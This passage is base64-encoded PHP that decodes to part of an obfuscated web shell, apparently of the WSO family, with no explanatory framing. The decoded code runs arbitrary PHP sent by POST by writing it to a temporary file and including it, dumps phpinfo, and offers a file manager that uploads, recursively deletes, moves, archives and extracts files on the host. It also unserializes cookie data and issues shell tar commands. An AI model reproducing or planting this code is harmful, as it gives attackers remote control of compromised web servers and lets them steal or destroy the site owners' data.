YHQsC4iOwogICAgfQoKICAgICRqb3RsZmFjc3FndSA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOwogICAgZWNobyBzdHJsZW4oJGpvdGxmYWNzcWd1KSwgIlxuIiwgJGpvdGxmYWNzcWd1OwogICAgZXhpdDsKfQoKICAgIGlmIChlbXB0eSgkX1BPU1RbJ2x0bm1hJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgcnBsbHd1d3oobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIDApOwogICAgfQoKCiAgICBxZW12aygpOwogICAgaWYgKGlzc2V0KCRfUE9TVFsnZHh4eHJkJ10pICYmICgkX1BPU1RbJ2R4eHhyZCddID09ICdpbmZvJykpIHsKCgogICAgICAgIGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbygpOwogICAgICAgICRxcnpra2NxanB1ID0gb2JfZ2V0X2NsZWFuKCk7CgoKICAgICAgICAkcXJ6a2tjcWpwdSA9IHByZWdfcmVwbGFjZShhcnJheSgKICAgICAgICAgICAgJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywKICAgICAgICAgICAgLy8nIXRkLCB0aCB7KC4qKX0hbXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKCiAgICAgICAgKSwgYXJyYXkoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAvLycuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywKICAgICAgICAgICAgJycsCiAgICAgICAgKSwgJHFyemtrY3FqcHUpOwogICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoJzxoMScsICc8aDInLCAkcXJ6a2tjcWpwdSkgLiAnPC9kaXY+PGJyPic7CiAgICB9CiAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nIC4gKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pID8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xzZGVlJ10pIDogJycpIC4gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwogICAgZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcgLiAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID8gJ2NoZWNrZWQnIDogJycpIC4gJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInIC4gKGVtcHR5KCRfUE9TVFsnbHNkZWUnXSkgPyAnZGlzcGxheTpub25lOycgOiAnJykgLiAnbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKICAgIGlmICghZW1wdHkoJF9QT1NUWydsc2RlZSddKSkgewogICAgb2Jfc3RhcnQoKTsKCiAgICAvLyDQkdC10LcgZXZhbDog0YHQvtC30LTQsNGR0Lwg0LLRgNC10LzQtdC90L3Ri9C5IFBIUC3RhNCw0LnQuywg0LLQutC70Y7Rh9Cw0LXQvCDQtdCz0L4g0Lgg0YPQtNCw0LvRj9C10LwKICAgICR0ZW1wRmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAndG1wX3BocF8nKTsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0ZW1wRmlsZSwgIjw/cGhwXG4iIC4gJF9QT1NUWydsc2RlZSddKTsKICAgIGluY2x1ZGUgJHRlbXBGaWxlOwogICAgdW5saW5rKCR0ZW1wRmlsZSk7CgogICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfQoKICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsKCgogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnbnBka2knXSkpIHsKICAgICAgICAkX0NPT0tJRVsnbnBka2knXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnbnBka2knXSk7CiAgICB9CgoKICAgIGlmICghZW1wdHkoJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgIHN3aXRjaCAoJF9QT1NUWydsc2RlZSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYgKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdta2Rpcic6CiAgICAgICAgICAgICAgICBpZiAoIUBta2RpcigkX1BPU1RbJ2R4eHhyZCddKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBqdnJzbW1xeXooJG5ydWZzdnhraykgewogICAgICAgICAgICAgICAgICAgICRucnVmc3Z4a2sgPSAoc3Vic3RyKCRucnVmc3Z4a2ssIC0xKSA9PSAnLycpID8gJG5ydWZzdnhrayA6ICRucnVmc3Z4a2sgLiAnLyc7CiAgICAgICAgICAgICAgICAgICAgJGF5c3JrZCA9IG9wZW5kaXIoJG5ydWZzdnhrayk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZm5qamZ5b2FrID0gcmVhZGRpcigkYXlzcmtkKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmbmpqZnlvYWsgPSAkbnJ1ZnN2eGtrIC4gJGZuampmeW9hazsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChiYXNlbmFtZSgkZm5qamZ5b2FrKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGZuampmeW9haykgPT0gIi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGtqb3VrciA9IGZpbGV0eXBlKCRmbmpqZnlvYWspOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGtqb3VrciA9PSAiZGlyIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAganZyc21tcXl6KCRmbmpqZnlvYWspOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZm5qamZ5b2FrKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkYXlzcmtkKTsKICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJG5ydWZzdnhrayk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbJ2YnXSBhcyAkZXpucmlweCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGV6bnJpcHggPT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGV6bnJpcHggPSB1cmxkZWNvZGUoJGV6bnJpcHgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRlem5yaXB4KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAganZyc21tcXl6KCRlem5yaXB4KTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGV6bnJpcHgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdwYXN0ZSc6CiAgICAgICAgICAgICAgICBpZiAoJF9DT09LSUVbJ3NlanonXSA9PSAnY29weScpIHsKCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbXRudW8oJHFvd2RlZ2ZtdiwgJGVtcWJiZ24sICR4Zm1xZXBkbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRxb3dkZWdmbXYgLiAkZW1xYmJnbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCR4Zm1xZXBkbCAuICRlbXFiYmduKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnID0gQG9wZW5kaXIoJHFvd2RlZ2ZtdiAuICRlbXFiYmduKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGV6bnJpcHggPSBAcmVhZGRpcigkdm1rcHVlbHBxZykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGV6bnJpcHggIT0gIi4iKSBhbmQgKCRlem5yaXB4ICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG10bnVvKCRxb3dkZWdmbXYgLiAkZW1xYmJnbiAuICcvJywgJGV6bnJpcHgsICR4Zm1xZXBkbCAuICRlbXFiYmduIC4gJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRxb3dkZWdmbXYgLiAkZW1xYmJnbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRxb3dkZWdmbXYgLiAkZW1xYmJnbiwgJHhmbXFlcGRsIC4gJGVtcWJiZ24pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnbnBka2knXSBhcyAkZXpucmlweCkgewogICAgICAgICAgICAgICAgICAgICAgICBtdG51bygkX0NPT0tJRVsnaHlxdHAnXSwgJGV6bnJpcHgsICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJF9DT09LSUVbJ3NlanonXSA9PSAnbW92ZScpIHsKCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24geXVjdXF5KCRxb3dkZWdmbXYsICRlbXFiYmduLCAkeGZtcWVwZGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcW93ZGVnZm12IC4gJGVtcWJiZ24pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkeGZtcWVwZGwgLiAkZW1xYmJnbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZyA9IEBvcGVuZGlyKCRxb3dkZWdmbXYgLiAkZW1xYmJnbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRlem5yaXB4ID0gQHJlYWRkaXIoJHZta3B1ZWxwcWcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRlem5yaXB4ICE9ICIuIikgYW5kICgkZXpucmlweCAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdG51bygkcW93ZGVnZm12IC4gJGVtcWJiZ24gLiAnLycsICRlem5yaXB4LCAkeGZtcWVwZGwgLiAkZW1xYmJnbiAuICcvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoQGlzX2ZpbGUoJHFvd2RlZ2ZtdiAuICRlbXFiYmduKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJHFvd2RlZ2ZtdiAuICRlbXFiYmduLCAkeGZtcWVwZGwgLiAkZW1xYmJnbik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWyducGRraSddIGFzICRlem5yaXB4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9DT09LSUVbJ2h5cXRwJ10gLiAkZXpucmlweCwgJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkZXpucmlweCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfQ09PS0lFWydzZWp6J10gPT0gJ3ppcCcpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsnZHh4eHJkJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnaHlxdHAnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnbnBka2knXSBhcyAkZXpucmlweCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZXpucmlweCA9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19maWxlKCRfQ09PS0lFWydoeXF0cCddIC4gJGV6bnJpcHgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2h5cXRwJ10gLiAkZXpucmlweCwgJGV6bnJpcHgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRfQ09PS0lFWydoeXF0cCddIC4gJGV6bnJpcHgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrd2loZWtpa3FjcmggPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGV6bnJpcHggLiAnLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRrd2loZWtpa3FjcmggYXMgJHVramlwbGh5eCA9PiAkdGNvaWl0c2spIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJHVramlwbGh5eCksICR1a2ppcGxoeXgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnc2VqeiddID09ICd1bnppcCcpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWyducGRraSddIGFzICRlem5yaXB4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX0NPT0tJRVsnaHlxdHAnXSAuICRlem5yaXB4KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snem5wY2lyYWd1bGknXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnc2VqeiddID09ICd0YXInKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2h5cXRwJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWyducGRraSddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWyducGRraSddKTsKICAgICAgICAgICAgICAgICAgICBmZHB1dmt3eSgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsnZHh4eHJkJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWyducGRraSddKSk7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdW5zZXQoJF9DT09LSUVbJ25wZGtpJ10pOwogICAgICAgICAgICAgICAgc2V0Y29va2llKCducGRraScsICcnLCB0aW1lKCkgLSAzNjAwKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgcnBsbHd1d3ooJ3NlanonLCAkX1BPU1RbJ2xzZGVlJ10pOwogICAgICAgICAgICAgICAgICAgIHJwbGx3dXd6KCducGRraScsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBycGxsd3V3eignaHlxdHAnLCBAJF9QT1NUWyd2bHJzbyddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KICAgIHFlbXZrKCk7CiAgICBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwogICAgJGpxdW5lcWF4Z3BnID0gaWh4b2tmZHQoaXNzZXQoJF9QT1NUWyd2bHJzbyddKSA/ICRfUE9TVFsndmxyc28nXSA6ICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKTsKICAgIGlmICgkanF1bmVxYXhncGcgPT09IGZhbHNlKSB7CiAgICAgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsKICAgICAgICBqendkeigpOwoKICAgICAgICByZXR1cm47CiAgICB9CiAgICBnbG9iYWwgJGpkcWF3dXRxYzsKICAgICRqZHFhd3V0cWMgPSBhcnJheSgnbmFtZScsIDEpOwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydsc2RlZSddLCAkc3VvZm5hc2opKSB7CiAgICAgICAgICAgICRqZHFhd3V0cWMgPSBhcnJheSgkc3VvZm5hc2pbMV0sIChpbnQpJHN1b2ZuYXNqWzJdKTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCiAgICAgICAgICAgICAgICAgICAgZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KICAgICAgICA8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIiAuICgkamRxYXd1dHFjWzFdID8gMCA6IDEpIC4gIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIgLiAoJGpkcWF3dXRxY1sxXSA/IDAgOiAxKSAuICJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIgLiAoJGpkcWF3dXRxY1sxXSA/IDAgOiAxKSAuICJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIgLiAoJGpkcWF3dXRxY1sxXSA/IDAgOiAxKSAuICJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICAgICRoYXlxeGlqYndpZHggPSAkdWRldWtxd3N2a2UgPSBhcnJheSgpOwogICAgJHZ6bGFpbm90ID0gY291bnQoJGpxdW5lcWF4Z3BnKTsKICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8ICR2emxhaW5vdDsgJGplZHByd3ZhZWYrKykgewogICAgICAgICR3b3lwbXhua3R3ZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRqcXVuZXFheGdwZ1skamVkcHJ3dmFlZl0pKTsKICAgICAgICAka2VlaGh6cyA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRqcXVuZXFheGdwZ1skamVkcHJ3dmFlZl0pKTsKICAgICAgICAkcXJ6a2tjcWpwdSA9IGFycmF5KAogICAgICAgICAgICAnbmFtZScgPT4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSwKICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSwKICAgICAgICAgICAgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSkpLAogICAgICAgICAgICAncGVybXMnID0+IHF3emdrKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSksCiAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSwKICAgICAgICAgICAgJ293bmVyJyA9PiAkd295cG14bmt0d2RbJ25hbWUnXSA/ICR3b3lwbXhua3R3ZFsnbmFtZSddIDogQGZpbGVvd25lcigkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSwKICAgICAgICAgICAgJ2dyb3VwJyA9PiAka2VlaGh6c1snbmFtZSddID8gJGtlZWhoenNbJ25hbWUnXSA6IEBmaWxlZ3JvdXAoJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSkKICAgICAgICApOwogICAgICAgIGlmIChAaXNfZmlsZSgkR0xPQkFMU1snem5wY2lyYWd1bGknXSAuICRqcXVuZXFheGdwZ1skamVkcHJ3dmFlZl0pKSB7CiAgICAgICAgICAgICR1ZGV1a3F3c3ZrZVtdID0gYXJyYXlfbWVyZ2UoJHFyemtrY3FqcHUsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICB9IGVsc2VpZiAoQGlzX2xpbmsoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSkgewogICAgICAgICAgICAkaGF5cXhpamJ3aWR4W10gPSBhcnJheV9tZXJnZSgkcXJ6a2tjcWpwdSwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCRxcnpra2NxanB1WydwYXRoJ10pKSk7CiAgICAgICAgfSBlbHNlaWYgKEBpc19kaXIoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSkgewogICAgICAgICAgICAkaGF5cXhpamJ3aWR4W10gPSBhcnJheV9tZXJnZSgkcXJ6a2tjcWpwdSwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiAgICAgICAgfQogICAgfQogICAgJEdMT0JBTFNbJ2pkcWF3dXRxYyddID0gJGpkcWF3dXRxYzsKCiAgICBmdW5jdGlvbiBxZXdtZHBwZCgkdnl4cGt2YW1jLCAkbmN5eXphbWUpIHsKICAgICAgICBpZiAoJEdMT0JBTFNbJ2pkcWF3dXRxYyddWzBdICE9ICdzaXplJykgewogICAgICAgICAgICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJHZ5eHBrdmFtY1skR0xPQkFMU1snamRxYXd1dHFjJ11bMF1dKSwgc3RydG9sb3dlcigkbmN5eXphbWVbJEdMT0JBTFNbJ2pkcWF3dXRxYyddWzBdXSkpICogKCRHTE9CQUxTWydqZHFhd3V0cWMnXVsxXSA/IDEgOiAtMSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgcmV0dXJuICgoJHZ5eHBrdmFtY1snc2l6ZSddIDwgJG5jeXl6YW1lWydzaXplJ10pID8gLTEgOiAxKSAqICgkR0xPQkFMU1snamRxYXd1dHFjJ11bMV0gPyAxIDogLTEpOwogICAgICAgIH0KICAgIH0KCiAgICB1c29ydCgkdWRldWtxd3N2a2UsICJxZXdtZHBwZCIpOwogICAgdXNvcnQoJGhheXF4aWpid2lkeCwgInFld21kcHBkIik7CiAgICAkdWRldWtxd3N2a2UgPSBhcnJheV9tZXJnZSgkaGF5cXhpamJ3aWR4LCAkdWRldWtxd3N2a2UpOwogICAgJHNqcGlhdWhlbSA9IDA7CiAgICBmb3JlYWNoICgkdWRldWtxd3N2a2UgYXMgJGV6bnJpcHgpIHsKICAgICAgICBlY2hvICc8dHInIC4gKCRzanBpYXVoZW0gPyAnIGNsYXNzPWwxJyA6ICcnKSAuICc+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicgLiB1cmxlbmNvZGUoJGV6bnJpcHhbJ25hbWUnXSkgLiAnIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJyAuICgoJGV6